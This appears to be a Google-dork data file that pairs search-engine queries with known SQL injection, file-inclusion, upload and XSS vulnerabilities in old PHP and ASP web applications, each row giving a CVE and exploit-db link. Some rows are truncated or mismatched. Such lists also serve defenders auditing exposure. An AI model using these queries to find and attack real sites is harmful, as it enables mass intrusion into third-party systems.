"Powered By The Black Lily 2007"	"Powered By The Black Lily 2007"	Black Lily 2007 (products.php class) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/4444
inurl:"simpleblog3"	inurl:"simpleblog3"	SimpleBlog 3.0 (simpleBlog.mdb) Database Disclosure Vulnerability: http://www.exploit-db.com/exploits/7232
allinurl:/m2f_usercp.php?	allinurl:/m2f_usercp.php?	mail2forum phpBB Mod 1.2 (m2f_root_path) Remote Include Vulns - CVE: 2006-3735: http://www.exploit-db.com/exploits/2019
powered by Dreampics Builder	powered by Dreampics Builder	Dreampics Builder (page) Remote SQL Injection Vulnerability - CVE: 2008-3119: http://www.exploit-db.com/exploits/6034
inurl:"classifide_ad.php"	inurl:"classifide_ad.php"	AJ Auction 6.2.1 (classifide_ad.php) SQL Injection Vulnerability - CVE: 2008-5212: http://www.exploit-db.com/exploits/5591
inurl:/jobsearchengine/	inurl:/jobsearchengine/	I-Net MLM Script Engine SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14080
allinurl:"com_n-gallery"	allinurl:"com_n-gallery"	Mambo Component n-gallery Multiple SQL Injection Vulnerabilities: http://www.exploit-db.com/exploits/5980
inurl:com_pinboard	inurl:com_pinboard	Joomla Component com_pinboard Remote File Upload Vulnerability: http://www.exploit-db.com/exploits/9011
cat_sell.php?cid= or selloffers.php?cid=	cat_sell.php?cid= or selloffers.php?cid=	B2B Trading Marketplace SQL Injection Vulnerability - CVE: 2005-3937: http://www.exploit-db.com/exploits/10656
"Powered By Azadi Network"	"Powered By Azadi Network"	Azadi Network (page) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10830

"Powered by i-pos Storefront"	"Powered by i-pos Storefront"	I-Pos Internet Pay Online Store 1.3 Beta SQL Injection Vulnerability - CVE: 2008-2634: http://www.exploit-db.com/exploits/5717
intitle:"ASP inline corporate calendar" inurl:.asp?id=	intitle:"ASP inline corporate calendar" inurl:.asp?id=	ASP Inline Corporate Calendar (SQL/XSS) Multiple Remote Vulnerabilities - CVE: 2009-2243: http://www.exploit-db.com/exploits/8756
inurl:friend.php?op=FriendSend	inurl:friend.php?op=FriendSend	PHP-Nuke 'friend.php' Module Remote SQL Injection: http://www.exploit-db.com/exploits/12525
inurl:com_gamesbox	inurl:com_gamesbox	Joomla Component Gamesbox com_gamesbox 1.0.2 (id) SQL Injection Vulnerability - CVE: 2010-2690: http://www.exploit-db.com/exploits/14126
"Powered by INVOhost"	"Powered by INVOhost"	INVOhost SQL Injection - CVE: 2010-1336: http://www.exploit-db.com/exploits/11874
"Powered by WebStudio eHotel"	"Powered by WebStudio eHotel"	WebStudio eHotel (pageid) Blind SQL Injection Vulnerability - CVE: 2008-5293: http://www.exploit-db.com/exploits/7222
inurl:com_redshop	inurl:com_redshop	Joomla redSHOP Component v1.0 (com_redshop pid) SQL Injection Vulnerability - CVE: 2010-2694: http://www.exploit-db.com/exploits/14312
"Powered by yacs"	"Powered by yacs"	YACS CMS 8.11 update_trailer.php Remote File Inclusion Vulnerability: http://www.exploit-db.com/exploits/8066
"(C) by CyberTeddy"	"(C) by CyberTeddy"	WebLog (index.php file) Remote File Disclosure Vulnerability - CVE: 2007-1487: http://www.exploit-db.com/exploits/3484
"Powered by Shout!"	"Powered by Shout!"	ShoutCMS (content.php) Blind Sql Injection Vulnerability: http://www.exploit-db.com/exploits/11305
"2007 BookmarkX script"	"2007 BookmarkX script"	BookmarkX script 2007 (topicid) Remote SQL Injection Vulnerability -

		CVE: 2008-0695: http://www.exploit-db.com/exploits/5040
Doop CMS	Doop CMS	doop CMS 1.3.7 (page) Local File Inclusion Vulnerability - CVE: 2007-5465: http://www.exploit-db.com/exploits/4536
"powered by sazcart"	"powered by sazcart"	SazCart 1.5 (cart.php) Remote File Include Vulnerability - CVE: 2006-5727: http://www.exploit-db.com/exploits/2718
inurl:com_community	inurl:com_community	Joomla Template BizWeb com_community Persistent XSS Vulnerability: http://www.exploit-db.com/exploits/13955
allinurl:"/questcms/"	allinurl:"/questcms/"	Questcms (XSS/Directory Traversal/SQL) Multiple Remote Vulnerabilities - CVE: 2008-4773: http://www.exploit-db.com/exploits/6853
inurl:news.php?mode=voir	inurl:news.php?mode=voir	TR News 2.1 (nb) Remote SQL Injection Vulnerability - CVE: 2008-1957: http://www.exploit-db.com/exploits/5483
" Powered by Pie Cart Pro "	" Powered by Pie Cart Pro "	Pie Cart Pro (Home_Path) Remote File Include Vulnerability - CVE: 2006-4970: http://www.exploit-db.com/exploits/2392
allinurl:readmore.php?news_id	allinurl:readmore.php?news_id	PHP-Fusion v4.01 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12635
inurl:index.php?ini[langpack]=	inurl:index.php?ini[langpack]=	Weatimages 1.7.1 ini[langpack] Remote File Inclusion Vulnerability - CVE: 2007-1999: http://www.exploit-db.com/exploits/3700
"Powered by Elgg, the leading open source social networking platform"	"Powered by Elgg, the leading open source social networking platform"	elgg 1.5 (/_css/js.php) Local File Inclusion Vulnerability - CVE: 2009-3149: http://www.exploit-db.com/exploits/9355
inurl:/index.php?option=com_yellowpages	inurl:/index.php?option=com_yellowpages	Joomla Yellowpages SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14592

allinurl:"channel_detail.php?chid="	allinurl:"channel_detail.php?chid="	YouTube Clone Script (msg.php id) Remote SQL Injection Vulnerability - CVE: 2007-3518: http://www.exploit-db.com/exploits/4136
inurl:apages.php	inurl:apages.php	Arab Network Tech. (ANT) CMS SQL Injection: http://www.exploit-db.com/exploits/11339
"Emanuele Guadagnoli" "CcMail"	"Emanuele Guadagnoli" "CcMail"	CcMail
This FAQ is powered by CascadianFAQ	This FAQ is powered by CascadianFAQ	CascadianFAQ 4.1 (index.php) Remote SQL Injection Vulnerability - CVE: 2007-0631: http://www.exploit-db.com/exploits/3227
"Designed & Developed by net-finity"	"Designed & Developed by net-finity"	net-finity (links.php) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/4629
intext:Powered by CPA Site Solutions	intext:Powered by CPA Site Solutions	CPA Site Solutions Remote File Upload Vulnerability: http://www.exploit-db.com/exploits/11365
"site powered by intuitive-websites.com"	"site powered by intuitive-websites.com"	intuitive (form.php) Sql Injection Vulnerability: http://www.exploit-db.com/exploits/11481
ClearBudget v0.6.1	ClearBudget v0.6.1	ClearBudget 0.6.1 Insecure Cookie Handling / LFI Vulnerabilities: http://www.exploit-db.com/exploits/7992
inurl:func=selectcat + com_remository	inurl:func=selectcat + com_remository	Mambo Component RemoSitory (cat) Remote SQL Injection Vulnerability - CVE: 2007-4505: http://www.exploit-db.com/exploits/4306
"ShopMaker v1.0"	"ShopMaker v1.0"	ShopMaker 1.0 (product.php id) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/6799
"Powered by jSite 1.0 OE"	"Powered by jSite 1.0 OE"	jSite 1.0 OE (SQL/LFI) Multiple Remote Vulnerabilities - CVE: 2008-3192: http://www.exploit-db.com/exploits/6057
Powered by	Powered by Online Email Manager	Online Email Manager Insecure

Online Email Manager		Cookie Handling Vulnerability: http://www.exploit-db.com/exploits/8476
"Web Site Design by Red Cat Studios"	"Web Site Design by Red Cat Studios"	Realtor WebSite System E-Commerce idfestival SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12776
inurl:"webboard/view.php?topic="	inurl:"webboard/view.php?topic="	Webboard v.2.90 beta Remote File Disclosure Vulnerability - CVE: 2009-2600: http://www.exploit-db.com/exploits/8823
/index.php?option=com_restaurante	/index.php?option=com_restaurante	Joomla Component Restaurante Remote File Upload Vulnerability - CVE: 2007-4817: http://www.exploit-db.com/exploits/4383
inurl:"com_portfol"	inurl:"com_portfol"	Joomla Component Portfol (vcatid) SQL Injection Vulnerability - CVE: 2009-0494: http://www.exploit-db.com/exploits/7734
intitle:"DUcalendar 1.0"	intitle:"DUcalendar 1.0"	DUcalendar 1.0 (detail.asp iEve) Remote SQL Injection Vulnerability - CVE: 2008-2868: http://www.exploit-db.com/exploits/5927
inurl:/infusions/e_cart	inurl:/infusions/e_cart	PHP-Fusion Mod E-Cart 1.3 (items.php CA) SQL Injection Vulnerability - CVE: 2009-0832: http://www.exploit-db.com/exploits/7698
inurl:com_jstore	inurl:com_jstore	joomla com_jstore SQLi Vulnerability: http://www.exploit-db.com/exploits/13796
allintext:"Browse our directory of our members top sites or create your own for free!"	allintext:"Browse our directory of our members top sites or create your own for free!"	PHP123 Top Sites (category.php cat) Remote SQL Injection Vuln - CVE: 2007-4054: http://www.exploit-db.com/exploits/4241
allinurl:flashblog.html "flashblog"	allinurl:flashblog.html "flashblog"	FlashBlog (articulo_id) Remote SQL Injection Vulnerability - CVE: 2008-2572: http://www.exploit-db.com/exploits/5685
com_easybook	com_easybook	Joomla Component EasyBook 1.1 (gbid) SQL Injection - CVE: 2008-2569: http://www.exploit-

		db.com/exploits/5740
inurl:index.php?option=com_nicetalk	inurl:index.php?option=com_nicetalk	Joomla Component Nice Talk 0.9.3 (tagid) SQL Injection Vulnerability - CVE: 2007-4503: http://www.exploit-db.com/exploits/4308
"ParsBlogger ? 2006. All rights reserved"	"ParsBlogger ? 2006. All rights reserved"	ParsBlogger (links.asp id) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/6745
Powered by CMScout (c)2005 CMScout Group	Powered by CMScout (c)2005 CMScout Group	CMScout (XSS/HTML Injection) Multiple Vulnerabilities - CVE: 2010-2154: http://www.exploit-db.com/exploits/12806
powered by minimal Gallery 0.8	powered by minimal Gallery 0.8	minimal Gallery 0.8 Remote File Disclosure Vulnerability - CVE: 2008-0259: http://www.exploit-db.com/exploits/4902
powered by sX-Shop	powered by sX-Shop	sX-Shop (view_image.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14557
inurl:"com_igniteg allery"	inurl:"com_ignitegallery"	Joomla Component Ignite Gallery 0.8.3 SQL Injection Vulnerability - CVE: 2008-6182: http://www.exploit-db.com/exploits/6723
inurl:com_brightweblinks	inurl:com_brightweblinks	Joomla Component com_brightweblinks (catid) SQL Injection Vulnerability - CVE: 2008-3083: http://www.exploit-db.com/exploits/5993
"Powered by: PhotoPost PHP 4.6" or "Powered by: PhotoPost PHP 4.5"	"Powered by: PhotoPost PHP 4.6" or "Powered by: PhotoPost PHP 4.5"	PhotoPost 4.6 (PP_PATH) Remote File Include Vulnerability - CVE: 2006-4828: http://www.exploit-db.com/exploits/2369
Powered by odlican.net cms v.1.5	Powered by odlican.net cms v.1.5	odlican.net cms v.1.5 Remote File Upload Vulnerability: http://www.exploit-db.com/exploits/11340
Powered By form2list	Powered By form2list	form2list (page.php id) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/8348

inurl:/_blogadata/	inurl:/_blogadata/	Blogator-script 0.95 (id_art) Remote SQL Injection Vulnerability - CVE: 2008-1763: http://www.exploit-db.com/exploits/5368
SPBOARD v4.5	SPBOARD v4.5	Sepal SPBOARD 4.5 (board.cgi) Remote Command Exec Vulnerability - CVE: 2008-4873: http://www.exploit-db.com/exploits/6864
inurl:com_jmarket	inurl:com_jmarket	joomla com_jmarket SQLi Vulnerability: http://www.exploit-db.com/exploits/13799
inurl:com_jtickets	inurl:com_jtickets	joomla com_jtickets SQLi Vulnerability: http://www.exploit-db.com/exploits/13797
inurl:"com_rwcards"	inurl:"com_rwcards"	Joomla Component com_rwcards - Local File Inclusion: http://www.exploit-db.com/exploits/11772
"index.php?sbjoke_id="	"index.php?sbjoke_id="	Jokes & Funny Pics Script (sb_jokeid) SQL Injection Vulnerability - CVE: 2008-2874: http://www.exploit-db.com/exploits/5934
"This website was created with phpWebThings"	"This website was created with phpWebThings"	phpWebThings 1.5.2 (editor.php) Remote File Include Vulnerability - CVE: 2006-6042: http://www.exploit-db.com/exploits/2811
inurl:questions.php?idcat	inurl:questions.php?idcat	EsFaq 2.0 (idcat) Remote SQL Injection Vulnerability - CVE: 2008-3952: http://www.exploit-db.com/exploits/6383
photokorn 1.52	photokorn 1.52	PhotoKorn Gallery 1.52 (dir_path) Remote File Include Vulnerabilities - CVE: 2006-4670: http://www.exploit-db.com/exploits/2327
Powered by SAPID CMF Build 87	Powered by SAPID CMF Build 87	SAPID CMF Build 87 (last_module) Remote Code Execution Vulnerability - CVE: 2007-5056: http://www.exploit-db.com/exploits/5097
inurl:"directory.php?cat=" pubs	inurl:"directory.php?cat=" pubs	Prozilla Pub Site Directory (directory.php cat) SQL Injection Vulnerbility - CVE: 2007-4258: http://www.exploit-db.com/exploits/4265

inurl:"userjournals.php?blog."	inurl:"userjournals.php?blog."	e107 Plugin userjournals_menu (blog.id) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/8417
inurl:"com_youtube"	inurl:"com_youtube"	Joomla Component (com_youtube) SQL Injection Vulnerability - CVE: 2010-2923: http://www.exploit-db.com/exploits/14467
inurl:"index.php?serverid="	inurl:"index.php?serverid="	Ultrastats 0.2.144/0.3.11 (index.php serverid) SQL Injection Vulnerability - CVE: 2008-6260: http://www.exploit-db.com/exploits/7148
inurl:"com_photoblog"	inurl:"com_photoblog"	Joomla (com_photoblog) Blind Sql Injection Vulnerability - CVE: 2010-0610: http://www.exploit-db.com/exploits/11337
inurl:indexmess.php	inurl:indexmess.php	Messagerie Locale (centre.php) Remote File Inclusion Vulnerability: http://www.exploit-db.com/exploits/2832
inurl:com_joomradio	inurl:com_joomradio	Joomla Component joomradio 1.0 (id) SQL Injection Vulnerability - CVE: 2008-2633: http://www.exploit-db.com/exploits/5729
inurl:com_jnewsletter	inurl:com_jnewsletter	joomla com_jnewsletter SQLi Vulnerability: http://www.exploit-db.com/exploits/13804
inurl:inc_classifiedlistingsmanager.asp	inurl:inc_classifiedlistingsmanager.asp	DMXReady Classified Listings Manager 1.1 SQL Injection Vulnerability - CVE: 2009-0426: http://www.exploit-db.com/exploits/7767
Powered by Online Guestbook Pro	Powered by Online Guestbook Pro	Online Guestbook Pro (display) Blind SQL Injection Vulnerability: http://www.exploit-db.com/exploits/8475
"Powered by PG Online Training Solution - learning management system"	"Powered by PG Online Training Solution - learning management system"	Pilot Group eTraining (news_read.php id) SQL Injection Vulnerability - CVE: 2008-4709: http://www.exploit-db.com/exploits/6613
inurl:"track.php?id="	inurl:"track.php?id="	phpstore Wholesale (track.php?id) SQL Injection Vulnerability - CVE:

		2008-5493: http://www.exploit-db.com/exploits/7134
inurl:com_jcommunity	inurl:com_jcommunity	joomla com_jcommunity SQLi Vulnerability: http://www.exploit-db.com/exploits/13798
inurl:cart.php?m=features&id=	inurl:cart.php?m=features&id=	digiSHOP SQL Injection Vulnerability: http://www.exploit-db.com/exploits/15405
/modules/tadbook2/open_book.php?book_sn=	/modules/tadbook2/open_book.php?book_sn=	XOOPS Module tadbook2 (open_book.php book_sn) SQL Injection Vuln: http://www.exploit-db.com/exploits/7725
"links.asp?CatId"	"links.asp?CatId"	ASPapp (links.asp CatId) Remote SQL Injection Vulnerability - CVE: 2008-1430: http://www.exploit-db.com/exploits/5276
Powered by: PHPDirector 0.30 or nurl:videos.php?id=	Powered by: PHPDirector 0.30 or nurl:videos.php?id=	PHPDirector 0.30 (videos.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14106
Powered by: Arab Portal inurl:mod.php?mod=html	Powered by: Arab Portal inurl:mod.php?mod=html	Arab Portal 2.1 Remote File Disclosure Vulnerability - CVE: 2008-5787: http://www.exploit-db.com/exploits/7019
"Powered by RedCat" inurl:index.php?contentId=	"Powered by RedCat" inurl:index.php?contentId=	redcat media SQL Injection: http://www.exploit-db.com/exploits/10043
inurl:"search_form.php?sb_showresult="	inurl:"search_form.php?sb_showresult="	Getacoder clone (sb_protype) Remote SQL Injection Vulnerability - CVE: 2008-3372: http://www.exploit-db.com/exploits/6143
Powered by boastMachine v3.1	Powered by boastMachine v3.1	boastMachine 3.1 (mail.php id) SQL Injection Vulnerability - CVE: 2008-0422: http://www.exploit-db.com/exploits/4952
"index.php?section=post_upload"	"index.php?section=post_upload"	DDL-Speed Script (acp/backup) Admin Backup Bypass Vulnerability: http://www.exploit-db.com/exploits/7629
Copyright 2007,	Copyright 2007,	phpAuction 3.2.1 (item.php id) Remote

PHPAUCTION.NET	PHPAUCTION.NET	SQL Injection Vulnerability - CVE: 2008-2900: http://www.exploit-db.com/exploits/5892
Online Booking Manager2.2	Online Booking Manager2.2	Online Booking Manager 2.2 (id) SQL Injection Vulnerability - CVE: 2008-5194: http://www.exploit-db.com/exploits/5964
"cms SunLight 5.2"	"cms SunLight 5.2"	SunLight CMS 5.3 (root) Remote File Inclusion Vulnerabilities - CVE: 2007-2774: http://www.exploit-db.com/exploits/3953
option=com_paxxgallery	option=com_paxxgallery	Joomla Component paxxgallery 0.2 (gid) Blind SQL Injection: http://www.exploit-db.com/exploits/5514
inurl:index.php?option=com_NeoRecruit	inurl:index.php?option=com_NeoRecruit	Joomla Component NeoRecruit 1.4 (id) SQL Injection Vulnerability - CVE: 2007-4506: http://www.exploit-db.com/exploits/4305
powered by x7 chat 1.3.6b	powered by x7 chat 1.3.6b	X7CHAT v1.3.6b Add Admin: http://www.exploit-db.com/exploits/10931
"Powered by Battle Blog"	"Powered by Battle Blog"	Battle Blog 1.25 (comment.asp) Remote SQL Injection Vulnerability - CVE: 2008-2626: http://www.exploit-db.com/exploits/5731
inurl:"vcalendar_asp"	inurl:"vcalendar_asp"	VCalendar (VCalendar.mdb) Remote Database Disclosure Vulnerability: http://www.exploit-db.com/exploits/7180
inurl:"com_simpledownload"	inurl:"com_simpledownload"	Joomla Component simpledownload Local File Disclosure - CVE: 2010-2122: http://www.exploit-db.com/exploits/12623
allinurl :"/modules/tutorials/"	allinurl :"/modules/tutorials/"	XOOPS Module tutorials (printpage.php) SQL Injection Vulnerability - CVE: 2008-1351: http://www.exploit-db.com/exploits/5245
intext:Powered by Infront	intext:Powered by Infront	Infront SQL Injection Vulnerability: http://www.exploit-db.com/exploits/13848

Powered by Info Fisier.	Powered by Info Fisier.	Info Fisier 1.0 multiple Vulnerabilities: http://www.exploit-db.com/exploits/10728
powered by joovili	powered by joovili	Joovili 3.0.6 (joovili.images.php) Remote File Disclosure Vulnerability - CVE: 2007-6621: http://www.exploit-db.com/exploits/4799
intext:Powered by SaphpLesson 4.0	intext:Powered by SaphpLesson 4.0	SaphpLesson v4.0 (Auth Bypass) SQL Injection Vulnerability - CVE: 2009-2883: http://www.exploit-db.com/exploits/9248
infusions/triscoop_race_system/race_details.php?	infusions/triscoop_race_system/race_details.php?	PHP-Fusion Mod triscoop_race_system (raceid) SQL Injection Vuln: http://www.exploit-db.com/exploits/6684
Powered by WHMCompleteSolution - or inurl:WHMCS	Powered by WHMCompleteSolution - or inurl:WHMCS	WHMCS control (WHMCompleteSolution) Sql Injection - CVE: 2010-1702: http://www.exploit-db.com/exploits/12371
intext:"Event List 0.8 Alpha by schlu.net "	intext:"Event List 0.8 Alpha by schlu.net "	Joomla Component EventList 0.8 (did) SQL Injection Vulnerability - CVE: 2007-4509: http://www.exploit-db.com/exploits/4309
inurl:"product_desc.php?id=" Powered by Zeeways.com	inurl:"product_desc.php?id=" Powered by Zeeways.com	Zeeways Script Multiple Vulnerabilities - CVE: 2010-2144: http://www.exploit-db.com/exploits/12805
"Website powered by Subdreamer CMS & Sequel Theme Designed by indiqo.media"	"Website powered by Subdreamer CMS & Sequel Theme Designed by indiqo.media"	Subdreamer Pro v3.0.4 CMS upload Vulnerability: http://www.exploit-db.com/exploits/14101
developed by ARWScripts.com	developed by ARWScripts.com	Free Photo Gallery Site Script (path) File Disclosure Vulnerability - CVE: 2008-1730: http://www.exploit-db.com/exploits/5419
"powered by CMS Made Simple version 1.1.2"	"powered by CMS Made Simple version 1.1.2"	CMS Made Simple 1.2 Remote Code Execution Vulnerability - CVE: 2007-5056: http://www.exploit-db.com/exploits/4442
"Desenvolvido por WeBProdZ"	"Desenvolvido por WeBProdZ"	WeBProdZ CMS SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12522

inurl:"inurl:file.php?recordID="	inurl:"inurl:file.php?recordID="	FILE SHARE v1.0 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10497
inurl:"view.php?ItemID=" rating "rate this review"	inurl:"view.php?ItemID=" rating "rate this review"	Prozilla Reviews Script 1.0 Arbitrary Delete User Vulnerability - CVE: 2008-1783: http://www.exploit-db.com/exploits/5387
"Webdesign Cosmos Solutions"	"Webdesign Cosmos Solutions"	Cosmos Solutions cms SQL Injection Vulnerability (id= / page=): http://www.exploit-db.com/exploits/12794
inurl:cal_cat.php?op=	inurl:cal_cat.php?op=	Calendarix (cal_cat.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14393
inurl:com_liveticker	inurl:com_liveticker	Joomla Component Live Ticker 1.0 (tid) Blind SQL Injection Vuln - CVE: 2008-6148: http://www.exploit-db.com/exploits/7573
intext:"Powered by the 1-2-3 music store"	intext:"Powered by the 1-2-3 music store"	Easybe 1-2-3 Music Store (process.php) Remote SQL Injection Vuln - CVE: 2007-3520: http://www.exploit-db.com/exploits/4134
"Powered by myBusinessAdmin and Red Cow Technologies, Inc."	"Powered by myBusinessAdmin and Red Cow Technologies, Inc."	myBusinessAdmin (content.php) Blind Sql Injection Vulnerability: http://www.exploit-db.com/exploits/11327
"Powered by cityadmin and Red Cow Technologies, Inc."	"Powered by cityadmin and Red Cow Technologies, Inc."	cityadmin (links.php) Blind Sql Injection Vulnerability: http://www.exploit-db.com/exploits/11326
"Powered by RealAdmin and Red Cow Technologies, Inc."	"Powered by RealAdmin and Red Cow Technologies, Inc."	RealAdmin (detail.php) Blind Sql Injection Vulnerability: http://www.exploit-db.com/exploits/11325
?action=pro_show and ?action=disppro	?action=pro_show and ?action=disppro	EPShop 3.0 (pid) Remote SQL Injection Vulnerability - CVE: 2008-3412: http://www.exploit-db.com/exploits/6139
Powered by	Powered by WebspotBlogging	bspotBlogging 3.0.1 (path) Remote

WebspotBlogging		File Include Vulnerability - CVE: 2006-2860: http://www.exploit-db.com/exploits/1871
"powered by vsp stats processor"	"powered by vsp stats processor"	vsp stats processor 0.45 (gamestat.php gameID) SQL Injection Vuln - CVE: 2009-1224: http://www.exploit-db.com/exploits/8331
inurl:employer_profile.php?compid=	inurl:employer_profile.php?compid=	ZEEJOBSITE 2.0 (adid) Remote SQL Injection Vulnerability - CVE: 2008-3706: http://www.exploit-db.com/exploits/6249
inurl:com_awd_song	inurl:com_awd_song	Joomla JE Awd Song Component Persistent XSS Vulnerability - CVE: 2010-2613: http://www.exploit-db.com/exploits/14059
"MangoBery 1.0 Alpha"	"MangoBery 1.0 Alpha"	MangoBery CMS 0.5.5 (quotes.php) Remote File Inclusion Vulnerability - CVE: 2007-1837: http://www.exploit-db.com/exploits/3598
inurl:view_group.php?id=	inurl:view_group.php?id=	BookMarks Favourites Script (view_group.php id) SQL Injection Vuln - CVE: 2008-6007: http://www.exploit-db.com/exploits/6637
mod.php?mod=publisher&op=printarticle&artid=	mod.php?mod=publisher&op=printarticle&artid=	eNdonesia 8.4 SQL Injection Vulnerability - CVE: 2010-3461: http://www.exploit-db.com/exploits/15006
inurl:"index.php?option=com_spa"	inurl:"index.php?option=com_spa"	Joomla Component com_spa SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14423
inurl:"photo_album.php?alb_id="	inurl:"photo_album.php?alb_id="	SpireCMS v2.0 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10408
intext : "Website by conceptinternetltd"	intext : "Website by conceptinternetltd"	Concept E-commerce SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14512
allinurl: "index.php?p=gallerypic img_id"	allinurl: "index.php?p=gallerypic img_id"	Koobi 4.4/5.4 gallery Remote SQL Injection Vulnerability - CVE: 2008-6210: http://www.exploit-db.com/exploits/5415

allinurl:com_jpad	allinurl:com_jpad	Joomla Component JPad 1.0 SQL Injection Vulnerability (postauth) - CVE: 2008-4715: http://www.exploit-db.com/exploits/5493
allinurl:"com_candle"	allinurl:"com_candle"	Joomla Component Candle 1.0 (cID) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5221
"powered by FlatPress"	"powered by FlatPress"	FlatPress 0.909.1 Stored XSS Vulnerability: http://www.exploit-db.com/exploits/12034
inurl:ugroups.php?UID=	inurl:ugroups.php?UID=	TubeGuru Video Sharing Script (UID) SQL Injection Vulnerability - CVE: 2008-3674: http://www.exploit-db.com/exploits/6170
allinurl:option=com_livechat	allinurl:option=com_livechat	Joomla Live Chat (SQL/Proxy) Multiple Remote Vulnerabilities - CVE: 2008-6883: http://www.exploit-db.com/exploits/7441
Powered by PHP Melody 1.5.3	Powered by PHP Melody 1.5.3	blog ink Bypass Setting Vulnerability: http://www.exploit-db.com/exploits/11462
Powered by phpMyDesktop|arcade v1.0 (final)	Powered by phpMyDesktop|arcade v1.0 (final)	PhpMyDesktop|arcade 1.0 Final (phpdns_basedir) RFI Vulnerability: http://www.exploit-db.com/exploits/4755
inurl:com_products "intCategoryId"	inurl:com_products "intCategoryId"	Joomla com_products 'intCategoryId' Remote Sql Injection Vulnerability: http://www.exploit-db.com/exploits/11691
inurl:"guestbook.admin.php?action=settings"	inurl:"guestbook.admin.php?action=settings"	Jax Guestbook 3.50 Admin Login - CVE: 2009-4447: http://www.exploit-db.com/exploits/10626
inurl:index.php?mod=jeuxflash	inurl:index.php?mod=jeuxflash	KwsPHP Module jeuxflash 1.0 (id) Remote SQL Injection Vulnerability - CVE: 2007-4922: http://www.exploit-db.com/exploits/4400
inurl:"track.php?id="	inurl:"track.php?id="	SFS EZ BIZ PRO (track.php id) Remote SQL Injection Vulnerability - CVE: 2008-6245: http://www.exploit-db.com/exploits/6910
"Ladder Scripts	"Ladder Scripts by"	My Gaming Ladder 7.5 (ladderid) SQL

by"		Injection Vulnerability - CVE: 2008-1791: http://www.exploit-db.com/exploits/5401
"powergap" or "s04.php" or s01.php or s02.php	"powergap" or "s04.php" or s01.php or s02.php	POWERGAP 2003 (s0x.php) Remote File Include Vulnerability - CVE: 2006-4236: http://www.exploit-db.com/exploits/2201
"Developed by Bispage.com"	"Developed by Bispage.com"	bispage Bypass Vulnerability: http://www.exploit-db.com/exploits/11555
"PKs Movie Database"	"PKs Movie Database"	PKs Movie Database 3.0.3 XSS / SQL Injection Vulnerabilities: http://www.exploit-db.com/exploits/5095
inurl:enq/big.asp?id=	inurl:enq/big.asp?id=	(big.asp) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12533
allintext:"Powered By Buddy Zone"	allintext:"Powered By Buddy Zone"	Buddy Zone 1.5 (view_sub_cat.php cat_id) SQL Injection Vulnerability - CVE: 2007-3549: http://www.exploit-db.com/exploits/4127
intext:" Website Design and Hosting By Netricks, Inc."	intext:" Website Design and Hosting By Netricks, Inc."	Website Design and Hosting By Netricks, Inc (news.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12736
com_thyme	com_thyme	Joomla Component Thyme 1.0 (event) SQL Injection Vulnerability - CVE: 2008-6116: http://www.exploit-db.com/exploits/7182
"PHP WEBQUEST VERSION " or inurl:"/phpwebquest/"	"PHP WEBQUEST VERSION " or inurl:"/phpwebquest/"	PHP Webquest 2.6 Get Database Credentials Vulnerability - CVE: 2008-0249: http://www.exploit-db.com/exploits/4872
All right reserved 2002-2003 (MSN/Web Server Creator)	All right reserved 2002-2003 (MSN/Web Server Creator)	Web Server Creator - Web Portal v 0.1 Multi Vulnerability - CVE: 2010-1113: http://www.exploit-db.com/exploits/11569
"Powerd by www.e-webtech.com"	"Powerd by www.e-webtech.com"	e-webtech (page.asp) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12571
powered by	powered by PhpMesFilms	PhpMesFilms 1.0 (index.php id)

PhpMesFilms		Remote SQL Injection Vulnerability - CVE: 2009-0598: http://www.exploit-db.com/exploits/7660
"Internet Photoshow - Slideshow"	"Internet Photoshow - Slideshow"	Internet Photoshow (Special Edition) Insecure Cookie Handling Vuln - CVE: 2008-2282: http://www.exploit-db.com/exploits/5617
inurl:choosecard.php?catid=	inurl:choosecard.php?catid=	WEBBDOMAIN Post Card 1.02 (catid) SQL Injection Vulnerability - CVE: 2008-6622: http://www.exploit-db.com/exploits/6977
"Powered by Real Estate Portal"	"Powered by Real Estate Portal"	NetArtMedia Real Estate Portal 1.2 (ad_id) SQL Injection Vuln - CVE: 2008-5309: http://www.exploit-db.com/exploits/7208
inurl:browsecats.php?cid=	inurl:browsecats.php?cid=	PozScripts Classified Ads Script (cid) SQL Injection Vulnerability - CVE: 2008-3672: http://www.exploit-db.com/exploits/6169
inurl:com_mdigg	inurl:com_mdigg	Joomla Component mdigg 2.2.8 (category) SQL Injection Vuln - CVE: 2008-6149: http://www.exploit-db.com/exploits/7574
"by in-link" or "Powered by In-Link 2."	"by in-link" or "Powered by In-Link 2."	In-link 2.3.4 (ADODB_DIR) Remote File Include Vulnerabilities: http://www.exploit-db.com/exploits/2295
inurl:trr.php?id=	inurl:trr.php?id=	Ad Board (id) Remote SQL Injection Vulnerability - CVE: 2008-3725: http://www.exploit-db.com/exploits/6271
inurl:"kroax.php?category"	inurl:"kroax.php?category"	PHP-Fusion Mod Kroax 4.42 (category) SQL Injection Vulnerability - CVE: 2008-5196: http://www.exploit-db.com/exploits/5942
"Powered by Reciprocal Links Manager"	"Powered by Reciprocal Links Manager"	Reciprocal Links Manager 1.1 (site) SQL Injection Vulnerability - CVE: 2008-4086: http://www.exploit-db.com/exploits/6349
allintext:"Latest Pictures" Name Gender Profile Rating	allintext:"Latest Pictures" Name Gender Profile Rating	Pictures Rating (index.php msgid) Remote SQL Injection Vulnerbility - CVE: 2007-3881: http://www.exploit-db.com/exploits/4191

